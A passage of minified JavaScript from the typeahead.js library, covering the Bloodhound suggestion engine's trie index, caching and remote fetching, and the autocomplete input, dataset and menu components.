f=a.length,g=b.length;f>c&&g>d;)a[c]<b[d]?c++:a[c]>b[d]?d++:(e.push(a[c]),c++,d++);return e}var h="c",i="i";return b.mixin(c.prototype,{bootstrap:function(a){this.datums=a.datums,this.trie=a.trie},add:function(a){var c=this;a=b.isArray(a)?a:[a],b.each(a,function(a){var f,g;c.datums[f=c.identify(a)]=a,g=d(c.datumTokenizer(a)),b.each(g,function(a){var b,d,g;for(b=c.trie,d=a.split("");g=d.shift();)b=b[h][g]||(b[h][g]=e()),b[i].push(f)})})},get:function(a){var c=this;return b.map(a,function(a){return c.datums[a]})},search:function(a){var c,e,j=this;return c=d(this.queryTokenizer(a)),b.each(c,function(a){var b,c,d,f;if(e&&0===e.length)return!1;for(b=j.trie,c=a.split("");b&&(d=c.shift());)b=b[h][d];return b&&0===c.length?(f=b[i].slice(0),void(e=e?g(e,f):f)):(e=[],!1)}),e?b.map(f(e),function(a){return j.datums[a]}):[]},all:function(){var a=[];for(var b in this.datums)a.push(this.datums[b]);return a},reset:function(){this.datums={},this.trie=e()},serialize:function(){return{datums:this.datums,trie:this.trie}}}),c}(),i=function(){"use strict";function a(a){this.url=a.url,this.ttl=a.ttl,this.cache=a.cache,this.prepare=a.prepare,this.transform=a.transform,this.transport=a.transport,this.thumbprint=a.thumbprint,this.storage=new f(a.cacheKey)}var c;return c={data:"data",protocol:"protocol",thumbprint:"thumbprint"},b.mixin(a.prototype,{_settings:function(){return{url:this.url,type:"GET",dataType:"json"}},store:function(a){this.cache&&(this.storage.set(c.data,a,this.ttl),this.storage.set(c.protocol,location.protocol,this.ttl),this.storage.set(c.thumbprint,this.thumbprint,this.ttl))},fromCache:function(){var a,b={};return this.cache?(b.data=this.storage.get(c.data),b.protocol=this.storage.get(c.protocol),b.thumbprint=this.storage.get(c.thumbprint),a=b.thumbprint!==this.thumbprint||b.protocol!==location.protocol,b.data&&!a?b.data:null):null},fromNetwork:function(a){function b(){a(!0)}function c(b){a(null,e.transform(b))}var d,e=this;a&&(d=this.prepare(this._settings()),this.transport(d).fail(b).done(c))},clear:function(){return this.storage.clear(),this}}),a}(),j=function(){"use strict";function a(a){this.url=a.url,this.prepare=a.prepare,this.transform=a.transform,this.transport=new g({cache:a.cache,limiter:a.limiter,transport:a.transport})}return b.mixin(a.prototype,{_settings:function(){return{url:this.url,type:"GET",dataType:"json"}},get:function(a,b){function c(a,c){b(a?[]:e.transform(c))}var d,e=this;if(b)return a=a||"",d=this.prepare(a,this._settings()),this.transport.get(d,c)},cancelLastRequest:function(){this.transport.cancel()}}),a}(),k=function(){"use strict";function d(d){var e;return d?(e={url:null,ttl:864e5,cache:!0,cacheKey:null,thumbprint:"",prepare:b.identity,transform:b.identity,transport:null},d=b.isString(d)?{url:d}:d,d=b.mixin(e,d),!d.url&&a.error("prefetch requires url to be set"),d.transform=d.filter||d.transform,d.cacheKey=d.cacheKey||d.url,d.thumbprint=c+d.thumbprint,d.transport=d.transport?h(d.transport):a.ajax,d):null}function e(c){var d;if(c)return d={url:null,cache:!0,prepare:null,replace:null,wildcard:null,limiter:null,rateLimitBy:"debounce",rateLimitWait:300,transform:b.identity,transport:null},c=b.isString(c)?{url:c}:c,c=b.mixin(d,c),!c.url&&a.error("remote requires url to be set"),c.transform=c.filter||c.transform,c.prepare=f(c),c.limiter=g(c),c.transport=c.transport?h(c.transport):a.ajax,delete c.replace,delete c.wildcard,delete c.rateLimitBy,delete c.rateLimitWait,c}function f(a){function b(a,b){return b.url=f(b.url,a),b}function c(a,b){return b.url=b.url.replace(g,encodeURIComponent(a)),b}function d(a,b){return b}var e,f,g;return e=a.prepare,f=a.replace,g=a.wildcard,e?e:e=f?b:a.wildcard?c:d}function g(a){function c(a){return function(c){return b.debounce(c,a)}}function d(a){return function(c){return b.throttle(c,a)}}var e,f,g;return e=a.limiter,f=a.rateLimitBy,g=a.rateLimitWait,e||(e=/^throttle$/i.test(f)?d(g):c(g)),e}function h(c){return function(d){function e(a){b.defer(function(){g.resolve(a)})}function f(a){b.defer(function(){g.reject(a)})}var g=a.Deferred();return c(d,e,f),g}}return function(c){var f,g;return f={initialize:!0,identify:b.stringify,datumTokenizer:null,queryTokenizer:null,sufficient:5,sorter:null,local:[],prefetch:null,remote:null},c=b.mixin(f,c||{}),!c.datumTokenizer&&a.error("datumTokenizer is required"),!c.queryTokenizer&&a.error("queryTokenizer is required"),g=c.sorter,c.sorter=g?function(a){return a.sort(g)}:b.identity,c.local=b.isFunction(c.local)?c.local():c.local,c.prefetch=d(c.prefetch),c.remote=e(c.remote),c}}(),l=function(){"use strict";function c(a){a=k(a),this.sorter=a.sorter,this.identify=a.identify,this.sufficient=a.sufficient,this.local=a.local,this.remote=a.remote?new j(a.remote):null,this.prefetch=a.prefetch?new i(a.prefetch):null,this.index=new h({identify:this.identify,datumTokenizer:a.datumTokenizer,queryTokenizer:a.queryTokenizer}),a.initialize!==!1&&this.initialize()}var e;return e=window&&window.Bloodhound,c.noConflict=function(){return window&&(window.Bloodhound=e),c},c.tokenizers=d,b.mixin(c.prototype,{__ttAdapter:function(){function a(a,b,d){return c.search(a,b,d)}function b(a,b){return c.search(a,b)}var c=this;return this.remote?a:b},_loadPrefetch:function(){function b(a,b){return a?c.reject():(e.add(b),e.prefetch.store(e.index.serialize()),void c.resolve())}var c,d,e=this;return c=a.Deferred(),this.prefetch?(d=this.prefetch.fromCache())?(this.index.bootstrap(d),c.resolve()):this.prefetch.fromNetwork(b):c.resolve(),c.promise()},_initialize:function(){function a(){b.add(b.local)}var b=this;return this.clear(),(this.initPromise=this._loadPrefetch()).done(a),this.initPromise},initialize:function(a){return!this.initPromise||a?this._initialize():this.initPromise},add:function(a){return this.index.add(a),this},get:function(a){return a=b.isArray(a)?a:[].slice.call(arguments),this.index.get(a)},search:function(a,c,d){function e(a){var c=[];b.each(a,function(a){!b.some(f,function(b){return g.identify(a)===g.identify(b)})&&c.push(a)}),d&&d(c)}var f,g=this;return f=this.sorter(this.index.search(a)),c(this.remote?f.slice():f),this.remote&&f.length<this.sufficient?this.remote.get(a,e):this.remote&&this.remote.cancelLastRequest(),this},all:function(){return this.index.all()},clear:function(){return this.index.reset(),this},clearPrefetchCache:function(){return this.prefetch&&this.prefetch.clear(),this},clearRemoteCache:function(){return g.resetCache(),this},ttAdapter:function(){return this.__ttAdapter()}}),c}();return l}),function(a,b){"function"==typeof define&&define.amd?define("typeahead.js",["jquery"],function(a){return b(a)}):"object"==typeof exports?module.exports=b(require("jquery")):b(jQuery)}(this,function(a){var b=function(){"use strict";return{isMsie:function(){return/(msie|trident)/i.test(navigator.userAgent)?navigator.userAgent.match(/(msie |rv:)(\d+(.\d+)?)/i)[2]:!1},isBlankString:function(a){return!a||/^\s*$/.test(a)},escapeRegExChars:function(a){return a.replace(/[\-\[\]\/\{\}\(\)\*\+\?\.\\\^\$\|]/g,"\\$&")},isString:function(a){return"string"==typeof a},isNumber:function(a){return"number"==typeof a},isArray:a.isArray,isFunction:a.isFunction,isObject:a.isPlainObject,isUndefined:function(a){return"undefined"==typeof a},isElement:function(a){return!(!a||1!==a.nodeType)},isJQuery:function(b){return b instanceof a},toStr:function(a){return b.isUndefined(a)||null===a?"":a+""},bind:a.proxy,each:function(b,c){function d(a,b){return c(b,a)}a.each(b,d)},map:a.map,filter:a.grep,every:function(b,c){var d=!0;return b?(a.each(b,function(a,e){return(d=c.call(null,e,a,b))?void 0:!1}),!!d):d},some:function(b,c){var d=!1;return b?(a.each(b,function(a,e){return(d=c.call(null,e,a,b))?!1:void 0}),!!d):d},mixin:a.extend,identity:function(a){return a},clone:function(b){return a.extend(!0,{},b)},getIdGenerator:function(){var a=0;return function(){return a++}},templatify:function(b){function c(){return String(b)}return a.isFunction(b)?b:c},defer:function(a){setTimeout(a,0)},debounce:function(a,b,c){var d,e;return function(){var f,g,h=this,i=arguments;return f=function(){d=null,c||(e=a.apply(h,i))},g=c&&!d,clearTimeout(d),d=setTimeout(f,b),g&&(e=a.apply(h,i)),e}},throttle:function(a,b){var c,d,e,f,g,h;return g=0,h=function(){g=new Date,e=null,f=a.apply(c,d)},function(){var i=new Date,j=b-(i-g);return c=this,d=arguments,0>=j?(clearTimeout(e),e=null,g=i,f=a.apply(c,d)):e||(e=setTimeout(h,j)),f}},stringify:function(a){return b.isString(a)?a:JSON.stringify(a)},noop:function(){}}}(),c=function(){"use strict";function a(a){var g,h;return h=b.mixin({},f,a),g={css:e(),classes:h,html:c(h),selectors:d(h)},{css:g.css,html:g.html,classes:g.classes,selectors:g.selectors,mixin:function(a){b.mixin(a,g)}}}function c(a){return{wrapper:'<span class="'+a.wrapper+'"></span>',menu:'<div class="'+a.menu+'"></div>'}}function d(a){var c={};return b.each(a,function(a,b){c[b]="."+a}),c}function e(){var a={wrapper:{position:"relative",display:"inline-block"},hint:{position:"absolute",top:"0",left:"0",borderColor:"transparent",boxShadow:"none",opacity:"1"},input:{position:"relative",verticalAlign:"top",backgroundColor:"transparent"},inputWithNoHint:{position:"relative",verticalAlign:"top"},menu:{position:"absolute",top:"100%",left:"0",zIndex:"100",display:"none"},ltr:{left:"0",right:"auto"},rtl:{left:"auto",right:" 0"}};return b.isMsie()&&b.mixin(a.input,{backgroundImage:"url(data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7)"}),a}var f={wrapper:"twitter-typeahead",input:"tt-input",hint:"tt-hint",menu:"tt-menu",dataset:"tt-dataset",suggestion:"tt-suggestion",selectable:"tt-selectable",empty:"tt-empty",open:"tt-open",cursor:"tt-cursor",highlight:"tt-highlight"};return a}(),d=function(){"use strict";function c(b){b&&b.el||a.error("EventBus initialized without el"),this.$el=a(b.el)}var d,e;return d="typeahead:",e={render:"rendered",cursorchange:"cursorchanged",select:"selected",autocomplete:"autocompleted"},b.mixin(c.prototype,{_trigger:function(b,c){var e;return e=a.Event(d+b),(c=c||[]).unshift(e),this.$el.trigger.apply(this.$el,c),e},before:function(a){var b,c;return b=[].slice.call(arguments,1),c=this._trigger("before"+a,b),c.isDefaultPrevented()},trigger:function(a){var b;this._trigger(a,[].slice.call(arguments,1)),(b=e[a])&&this._trigger(b,[].slice.call(arguments,1))}}),c}(),e=function(){"use strict";function a(a,b,c,d){var e;if(!c)return this;for(b=b.split(i),c=d?h(c,d):c,this._callbacks=this._callbacks||{};e=b.shift();)this._callbacks[e]=this._callbacks[e]||{sync:[],async:[]},this._callbacks[e][a].push(c);return this}function b(b,c,d){return a.call(this,"async",b,c,d)}function c(b,c,d){return a.call(this,"sync",b,c,d)}function d(a){var b;if(!this._callbacks)return this;for(a=a.split(i);b=a.shift();)delete this._callbacks[b];return this}function e(a){var b,c,d,e,g;if(!this._callbacks)return this;for(a=a.split(i),d=[].slice.call(arguments,1);(b=a.shift())&&(c=this._callbacks[b]);)e=f(c.sync,this,[b].concat(d)),g=f(c.async,this,[b].concat(d)),e()&&j(g);return this}function f(a,b,c){function d(){for(var d,e=0,f=a.length;!d&&f>e;e+=1)d=a[e].apply(b,c)===!1;return!d}return d}function g(){var a;return a=window.setImmediate?function(a){setImmediate(function(){a()})}:function(a){setTimeout(function(){a()},0)}}function h(a,b){return a.bind?a.bind(b):function(){a.apply(b,[].slice.call(arguments,0))}}var i=/\s+/,j=g();return{onSync:c,onAsync:b,off:d,trigger:e}}(),f=function(a){"use strict";function c(a,c,d){for(var e,f=[],g=0,h=a.length;h>g;g++)f.push(b.escapeRegExChars(a[g]));return e=d?"\\b("+f.join("|")+")\\b":"("+f.join("|")+")",c?new RegExp(e):new RegExp(e,"i")}var d={node:null,pattern:null,tagName:"strong",className:null,wordsOnly:!1,caseSensitive:!1};return function(e){function f(b){var c,d,f;return(c=h.exec(b.data))&&(f=a.createElement(e.tagName),e.className&&(f.className=e.className),d=b.splitText(c.index),d.splitText(c[0].length),f.appendChild(d.cloneNode(!0)),b.parentNode.replaceChild(f,d)),!!c}function g(a,b){for(var c,d=3,e=0;e<a.childNodes.length;e++)c=a.childNodes[e],c.nodeType===d?e+=b(c)?1:0:g(c,b)}var h;e=b.mixin({},d,e),e.node&&e.pattern&&(e.pattern=b.isArray(e.pattern)?e.pattern:[e.pattern],h=c(e.pattern,e.caseSensitive,e.wordsOnly),g(e.node,f))}}(window.document),g=function(){"use strict";function c(c,e){c=c||{},c.input||a.error("input is missing"),e.mixin(this),this.$hint=a(c.hint),this.$input=a(c.input),this.query=this.$input.val(),this.queryWhenFocused=this.hasFocus()?this.query:null,this.$overflowHelper=d(this.$input),this._checkLanguageDirection(),0===this.$hint.length&&(this.setHint=this.getHint=this.clearHint=this.clearHintIfInvalid=b.noop)}function d(b){return a('<pre aria-hidden="true"></pre>').css({position:"absolute",visibility:"hidden",whiteSpace:"pre",fontFamily:b.css("font-family"),fontSize:b.css("font-size"),fontStyle:b.css("font-style"),fontVariant:b.css("font-variant"),fontWeight:b.css("font-weight"),wordSpacing:b.css("word-spacing"),letterSpacing:b.css("letter-spacing"),textIndent:b.css("text-indent"),textRendering:b.css("text-rendering"),textTransform:b.css("text-transform")}).insertAfter(b)}function f(a,b){return c.normalizeQuery(a)===c.normalizeQuery(b)}function g(a){return a.altKey||a.ctrlKey||a.metaKey||a.shiftKey}var h;return h={9:"tab",27:"esc",37:"left",39:"right",13:"enter",38:"up",40:"down"},c.normalizeQuery=function(a){return b.toStr(a).replace(/^\s*/g,"").replace(/\s{2,}/g," ")},b.mixin(c.prototype,e,{_onBlur:function(){this.resetInputValue(),this.trigger("blurred")},_onFocus:function(){this.queryWhenFocused=this.query,this.trigger("focused")},_onKeydown:function(a){var b=h[a.which||a.keyCode];this._managePreventDefault(b,a),b&&this._shouldTrigger(b,a)&&this.trigger(b+"Keyed",a)},_onInput:function(){this._setQuery(this.getInputValue()),this.clearHintIfInvalid(),this._checkLanguageDirection()},_managePreventDefault:function(a,b){var c;switch(a){case"up":case"down":c=!g(b);break;default:c=!1}c&&b.preventDefault()},_shouldTrigger:function(a,b){var c;switch(a){case"tab":c=!g(b);break;default:c=!0}return c},_checkLanguageDirection:function(){var a=(this.$input.css("direction")||"ltr").toLowerCase();this.dir!==a&&(this.dir=a,this.$hint.attr("dir",a),this.trigger("langDirChanged",a))},_setQuery:function(a,b){var c,d;c=f(a,this.query),d=c?this.query.length!==a.length:!1,this.query=a,b||c?!b&&d&&this.trigger("whitespaceChanged",this.query):this.trigger("queryChanged",this.query)},bind:function(){var a,c,d,e,f=this;return a=b.bind(this._onBlur,this),c=b.bind(this._onFocus,this),d=b.bind(this._onKeydown,this),e=b.bind(this._onInput,this),this.$input.on("blur.tt",a).on("focus.tt",c).on("keydown.tt",d),!b.isMsie()||b.isMsie()>9?this.$input.on("input.tt",e):this.$input.on("keydown.tt keypress.tt cut.tt paste.tt",function(a){h[a.which||a.keyCode]||b.defer(b.bind(f._onInput,f,a))}),this},focus:function(){this.$input.focus()},blur:function(){this.$input.blur()},getLangDir:function(){return this.dir},getQuery:function(){return this.query||""},setQuery:function(a,b){this.setInputValue(a),this._setQuery(a,b)},hasQueryChangedSinceLastFocus:function(){return this.query!==this.queryWhenFocused},getInputValue:function(){return this.$input.val()},setInputValue:function(a){this.$input.val(a),this.clearHintIfInvalid(),this._checkLanguageDirection()},resetInputValue:function(){this.setInputValue(this.query)},getHint:function(){return this.$hint.val()},setHint:function(a){this.$hint.val(a)},clearHint:function(){this.setHint("")},clearHintIfInvalid:function(){var a,b,c,d;a=this.getInputValue(),b=this.getHint(),c=a!==b&&0===b.indexOf(a),d=""!==a&&c&&!this.hasOverflow(),!d&&this.clearHint()},hasFocus:function(){return this.$input.is(":focus")},hasOverflow:function(){var a=this.$input.width()-2;return this.$overflowHelper.text(this.getInputValue()),this.$overflowHelper.width()>=a},isCursorAtEnd:function(){var a,c,d;return a=this.$input.val().length,c=this.$input[0].selectionStart,b.isNumber(c)?c===a:document.selection?(d=document.selection.createRange(),d.moveStart("character",-a),a===d.text.length):!0},destroy:function(){this.$hint.off(".tt"),this.$input.off(".tt"),this.$overflowHelper.remove(),this.$hint=this.$input=this.$overflowHelper=a("<div>")}}),c}(),h=function(){"use strict";function c(c,e){c=c||{},c.templates=c.templates||{},c.templates.notFound=c.templates.notFound||c.templates.empty,c.source||a.error("missing source"),c.node||a.error("missing node"),c.name&&!h(c.name)&&a.error("invalid dataset name: "+c.name),e.mixin(this),this.highlight=!!c.highlight,this.name=c.name||j(),this.limit=c.limit||5,this.displayFn=d(c.display||c.displayKey),this.templates=g(c.templates,this.displayFn),this.source=c.source.__ttAdapter?c.source.__ttAdapter():c.source,this.async=b.isUndefined(c.async)?this.source.length>2:!!c.async,this._resetLastSuggestion(),this.$el=a(c.node).addClass(this.classes.dataset).addClass(this.classes.dataset+"-"+this.name)}function d(a){function c(b){return b[a]}return a=a||b.stringify,b.isFunction(a)?a:c}function g(c,d){function e(b){return a("<div>").text(d(b))}return{notFound:c.notFound&&b.templatify(c.notFound),pending:c.pending&&b.templatify(c.pending),header:c.header&&b.templatify(c.header),footer:c.footer&&b.templatify(c.footer),suggestion:c.suggestion||e}}function h(a){return/^[_a-zA-Z0-9-]+$/.test(a)}var i,j;return i={val:"tt-selectable-display",obj:"tt-selectable-object"},j=b.getIdGenerator(),c.extractData=function(b){var c=a(b);return c.data(i.obj)?{val:c.data(i.val)||"",obj:c.data(i.obj)||null}:null},b.mixin(c.prototype,e,{_overwrite:function(a,b){b=b||[],b.length?this._renderSuggestions(a,b):this.async&&this.templates.pending?this._renderPending(a):!this.async&&this.templates.notFound?this._renderNotFound(a):this._empty(),this.trigger("rendered",this.name,b,!1)},_append:function(a,b){b=b||[],b.length&&this.$lastSuggestion.length?this._appendSuggestions(a,b):b.length?this._renderSuggestions(a,b):!this.$lastSuggestion.length&&this.templates.notFound&&this._renderNotFound(a),this.trigger("rendered",this.name,b,!0)},_renderSuggestions:function(a,b){var c;c=this._getSuggestionsFragment(a,b),this.$lastSuggestion=c.children().last(),this.$el.html(c).prepend(this._getHeader(a,b)).append(this._getFooter(a,b))},_appendSuggestions:function(a,b){var c,d;c=this._getSuggestionsFragment(a,b),d=c.children().last(),this.$lastSuggestion.after(c),this.$lastSuggestion=d},_renderPending:function(a){var b=this.templates.pending;this._resetLastSuggestion(),b&&this.$el.html(b({query:a,dataset:this.name}))},_renderNotFound:function(a){var b=this.templates.notFound;this._resetLastSuggestion(),b&&this.$el.html(b({query:a,dataset:this.name}))},_empty:function(){this.$el.empty(),this._resetLastSuggestion()},_getSuggestionsFragment:function(c,d){var e,g=this;return e=document.createDocumentFragment(),b.each(d,function(b){var d,f;f=g._injectQuery(c,b),d=a(g.templates.suggestion(f)).data(i.obj,b).data(i.val,g.displayFn(b)).addClass(g.classes.suggestion+" "+g.classes.selectable),e.appendChild(d[0])}),this.highlight&&f({className:this.classes.highlight,node:e,pattern:c}),a(e)},_getFooter:function(a,b){return this.templates.footer?this.templates.footer({query:a,suggestions:b,dataset:this.name}):null},_getHeader:function(a,b){return this.templates.header?this.templates.header({query:a,suggestions:b,dataset:this.name}):null},_resetLastSuggestion:function(){this.$lastSuggestion=a()},_injectQuery:function(a,c){return b.isObject(c)?b.mixin({_query:a},c):c},update:function(b){function c(a){g||(g=!0,a=(a||[]).slice(0,e.limit),h=a.length,e._overwrite(b,a),h<e.limit&&e.async&&e.trigger("asyncRequested",b))}function d(c){c=c||[],!f&&h<e.limit&&(e.cancel=a.noop,h+=c.length,e._append(b,c.slice(0,e.limit-h)),e.async&&e.trigger("asyncReceived",b))}var e=this,f=!1,g=!1,h=0;this.cancel(),this.cancel=function(){f=!0,e.cancel=a.noop,e.async&&e.trigger("asyncCanceled",b)},this.source(b,c,d),!g&&c([])},cancel:a.noop,clear:function(){this._empty(),this.cancel(),this.trigger("cleared")},isEmpty:function(){return this.$el.is(":empty")},destroy:function(){this.$el=a("<div>")}}),c}(),i=function(){"use strict";function c(c,d){function e(b){var c=f.$node.find(b.node).first();return b.node=c.length?c:a("<div>").appendTo(f.$node),new h(b,d)}var f=this;c=c||{},c.node||a.error("node is required"),d.mixin(this),this.$node=a(c.node),this.query=null,this.datasets=b.map(c.datasets,e)}return b.mixin(c.prototype,e,{_onSelectableClick:function(b){this.trigger("selectableClicked",a(b.currentTarget))},_onRendered:function(a,b,c,d){this.$node.toggleClass(this.classes.empty,this._allDatasetsEmpty()),this.trigger("datasetRendered",b,c,d)},_onCleared:function(){this.$node.toggleClass(this.classes.empty,this._allDatasetsEmpty()),this.trigger("datasetCleared")},_propagate:function(){this.trigger.apply(this,arguments)},_allDatasetsEmpty:function(){function a(a){return a.isEmpty()}return b.every(this.datasets,a)},_getSelectables:function(){return this.$node.find(this.selectors.selectable)},_removeCursor:function(){var a=this.getActiveSelectable();a&&a.removeClass(this.classes.cursor)},_ensureVisible:function(a){var b,c,d,e;b=a.position().top,c=b+a.outerHeight(!0),d=this.$node.scrollTop(),e=this.$node.height()+parseInt(this.$node.css("paddingTop"),10)+parseInt(this.$node.css("paddingBottom"),10),0>b?this.$node.scrollTop(d+b):c>e&&this.$node.scrollTop(d+(c-e))},bind:function(){var a,c=this;return a=b.bind(this._onSelectableClick,this),this.$node.on("click.tt",this.selectors.selectable,a),b.each(this.datasets,function(a){a.onSync("asyncRequested",c._propagate,c).onSync("asyncCanceled",c._propagate,c).onSync("asyncReceived",c._propagate,c).onSync("rendered",c._onRendered,c).onSync("cleared",c._onCleared,c)}),this},isOpen:function(){return this.$node.hasClass(this.classes.open)},open:function(){this.$node.addClass(this.classes.open)},close:function(){this.$node.removeClass(this.classes.open),this._removeCursor()},setLanguageDirection:function(a){this.$node.attr("dir",a)},selectableRelativeToCursor:function(a){var b,c,d,e;return c=this.getActiveSelectable(),b=this._getSelectables(),d=c?b.index(c):-1,e=d+a,e=(e+1)%(b.length+1)-1,e=-1>e?b.length-1:e,-1===e?null:b.eq(e)},setCursor:function(a){this._removeCursor(),(a=a&&a.first())&&(a.addClass(this.classes.cursor),this._ensureVisible(a))},getSelectableData:function(a){return a&&a.length?h.extractData(a):null},getActiveSelectable:function(){var a=this._getSelectables().filter(this.selectors.cursor).first();return a.length?a:null},getTopSelectable:function(){var a=this._getSelectables().first();return a.length?a:null},update:function(a){function c(b){b.update(a)}var d=a!==this.query;return d&&(this.query=a,b.each(this.datasets,c)),d},empty:function(){function a(a){a.clear()}b.each(this.datasets,a),this.query=null,this.$node.addClass(this.classes.empty)},destroy:function(){function c(a){a.destroy()}this.$node.off(".tt"),this.$node=a("<div>"),b.each(this.datasets,c)}}),c}(),j=function(){"use strict";function a(){i.apply(this,[].slice.call(arguments,0))}var c=i.prototype;return b.mixin(a.prototype,i.prototype,{open:function(){return!this._allDatasetsEmpty()&&this._show(),c.open.apply(this,[].slice.call(arguments,0))},close:function(){return this._hide(),c.close.apply(this,[].slice.call(arguments,0))},_onRendered:function(){return this._allDatasetsEmpty()?this._hide():this.isOpen()&&this._show(),c._onRendered.apply(this,[].slice.call(arguments,0))},_onCleared:function(){return this._allDatasetsEmpty()?this._hide():this.isOpen()&&this._show(),c._onCleared.apply(this,[].slice.call(arguments,0))},setLanguageDirection:function(a){return this.$node.css("ltr"===a?this.css.ltr:this.css.rtl),c.setLanguageDirection.apply(this,[].slice.call(arguments,0))},_hide:function(){this.$node.hide()},_show:function(){this.$node.css("display","block")}}),a}(),k=function(){"use strict";function c(c,e){var f,g,h,i,j,k,l,m,n,o,p;c=c||{},c.input||a.error("missing input"),c.menu||a.error("missing menu"),c.eventBus||a.error("missing event bus"),e.mixin(this),this.eventBus=c.eventBus,this.minLength=b.isNumber(c.minLength)?c.minLength:1,this.input=c.input,this.menu=c.menu,this.enabled=!0,this.active=!1,this.input.hasFocus()&&this.activate(),this.dir=this.input.getLangDir(),this._hacks(),this.menu.bind().onSync("selectableClicked",this._onSelectableClicked,this).onSync("asyncRequested",this._onAsyncRequested,this).onSync("asyncCanceled",this._onAsyncCanceled,this).onSync("asyncReceived",this._onAsyncReceived,this).onSync("datasetRendered",this._onDatasetRendered,this).onSync("datasetCleared",this._onDatasetCleared,this),f=d(this,"activate","open","_onFocused"),g=d(this,"deactivate","_onBlurred"),h=d(this,"isActive","isOpen","_onEnterKeyed"),i=d(this,"isActive","isOpen","_onTabKeyed"),j=d(this,"isActive","_onEscKeyed"),k=d(this,"isActive","open","_onUpKeyed"),l=d(this,"isActive","open","_onDownKeyed"),m=d(this,"isActive","isOpen","_onLeftKeyed"),n=d(this,"isActive","isOpen","_onRightKeyed"),o=d(this,"_openIfActive","_onQueryChanged"),p=d(this,"_openIfActive","_onWhitespaceChanged"),this.input.bind().onSync("focused",f,this).onSync("blurred",g,this).onSync("enterKeyed",h,this).onSync("tabKeyed",i,this).onSync("escKeyed",j,this).onSync("upKeyed",k,this).onSync("downKeyed",l,this).onSync("leftKeyed",m,this).onSync("rightKeyed",n,this).onSync("queryChanged",o,this).onSync("whitespaceChanged",p,this).onSync("langDirChanged",this._onLangDirChanged,this)}function d(a){var c=[].slice.call(arguments,1);return function(){var d=[].slice.call(arguments);b.each(c,function(b){return a[b].apply(a,d)})}}return b.mixin(c.prototype,{_hacks:function(){var c,d;c=this.input.$input||a("<div>"),d=this.menu.$node||a("<div>"),c.on("blur.tt",function(a){var e,f,g;
e=document.activeElement,f=d.is(e),g=d.has(e).length>0,b.isMsie()&&(f||g)&&(a.preventDefault(),a.stopImmediatePropagation(),b.defer(function(){c.focus()}))}),d.on("mousedown.tt",function(a){a.preventDefault()})},_onSelectableClicked:function(a,b){this.select(b)},_onDatasetCleared:function(){this._updateHint()},_onDatasetRendered:function(a,b,c,d){this._updateHint(),this.eventBus.trigger("render",c,d,b)},_onAsyncRequested:function(a,b,c){this.eventBus.trigger("asyncrequest",c,b)},_onAsyncCanceled:function(a,b,c){this.eventBus.trigger("asynccancel",c,b)},_onAsyncReceived:function(a,b,c){this.eventBus.trigger("asyncreceive",c,b)},_onFocused:function(){this._minLengthMet()&&this.menu.update(this.input.getQuery())},_onBlurred:function(){this.input.hasQueryChangedSinceLastFocus()&&this.eventBus.trigger("change",this.input.getQuery())},_onEnterKeyed:function(a,b){var c;(c=this.menu.getActiveSelectable())&&this.select(c)&&b.preventDefault()},_onTabKeyed:function(a,b){var c;(c=this.menu.getActiveSelectable())?this.select(c)&&b.preventDefault():(c=this.menu.getTopSelectable())&&this.autocomplete(c)&&b.preventDefault()},_onEscKeyed:function(){this.close()},_onUpKeyed:function(){this.moveCursor(-1)},_onDownKeyed:function(){this.moveCursor(1)},_onLeftKeyed:function(){"rtl"===this.dir&&this.input.isCursorAtEnd()&&this.autocomplete(this.menu.getTopSelectable())},_onRightKeyed:function(){"ltr"===this.dir&&this.input.isCursorAtEnd()&&this.autocomplete(this.menu.getTopSelectable())},_onQueryChanged:function(a,b){this._minLengthMet(b)?this.menu.update(b):this.menu.empty()},_onWhitespaceChanged:function(){this._updateHint()},_onLangDirChanged:function(a,b){this.dir!==b&&(this.dir=b,this.menu.setLanguageDirection(b))},_openIfActive:function(){this.isActive()&&this.open()},_minLengthMet:function(a){return a=b.isString(a)?a:this.input.getQuery()||"",a.length>=this.minLength},_updateHint:function(){var a,c,d,e,f,h,i;a=this.menu.getTopSelectable(),c=this.menu.getSelectableData(a),d=this.input.getInputValue(),!c||b.isBlankString(d)||this.input.hasOverflow()?this.input.clearHint():(e=g.normalizeQuery(d),f=b.escapeRegExChars(e),h=new RegExp("^(?:"+f+")(.+$)","i"),i=h.exec(c.val),i&&this.input.setHint(d+i[1]))},isEnabled:function(){return this.enabled},enable:function(){this.enabled=!0},disable:function(){this.enabled=!1},isActive:function(){return this.active},activate:function(){return this.isActive()?!0:!this.isEnabled()||this.eventBus.before("active")?!1:(this.active=!0,this.eventBus.trigger("active"),!0)},deactivate:function(){return this.isActive()?this.eventBus.before("idle")?!1:(this.active=!1,this.close(),this.eventBus.trigger("idle"),!0):!0},isOpen:function(){return this.menu.isOpen()},open:function(){return this.isOpen()||this.eventBus.before("open")||(this.menu.open(),this._updateHint(),this.eventBus.trigger("open")),this.isOpen()},close:function(){return this.isOpen()&&!this.eventBus.before("close")&&(this.menu.close(),this.input.clearHint(),this.input.resetInputValue(),this.eventBus.trigger("close")),!this.isOpen()},setVal:function(a){this.input.setQuery(b.toStr(a))},getVal:function(){return this.input.getQuery()},select:function(a){var b=this.menu.getSelectableData(a);return b&&!this.eventBus.before("select",b.obj)?(this.input.setQuery(b.val,!0),this.eventBus.trigger("select",b.obj),this.close(),!0):!1},autocomplete:function(a){var b,c,d;return b=this.input.getQuery(),c=this.menu.getSelectableData(a),d=c&&b!==c.val,d&&!this.eventBus.before("autocomplete",c.obj)?(this.input.setQuery(c.val),this.eventBus.trigger("autocomplete",c.obj),!0):!1},moveCursor:function(a){var b,c,d,e,f;return b=this.input.getQuery(),c=this.menu.selectableRelativeToCursor(a),d=this.menu.getSelectableData(c),e=d?d.obj:null,f=this._minLengthMet()&&this.menu.update(b),f||this.eventBus.before("cursorchange",e)?!1:(this.menu.setCursor(c),d?this.input.setInputValue(d.val):(this.input.resetInputValue(),this._updateHint()),this.eventBus.trigger("cursorchange",e),!0)},destroy:function(){this.input.destroy(),this.menu.destroy()}}),c}();!function(){"use strict";function e(b,c){b.each(function(){var b,d=a(this);(b=d.data(p.typeahead))&&c(b,d)})}function f(a,b){return a.clone().addClass(b.classes.hint).removeData().css(b.css.hint).css(l(a)).prop("readonly",!0).removeAttr("id name placeholder required").attr({autocomplete:"off",spellcheck:"false",tabindex:-1})}function 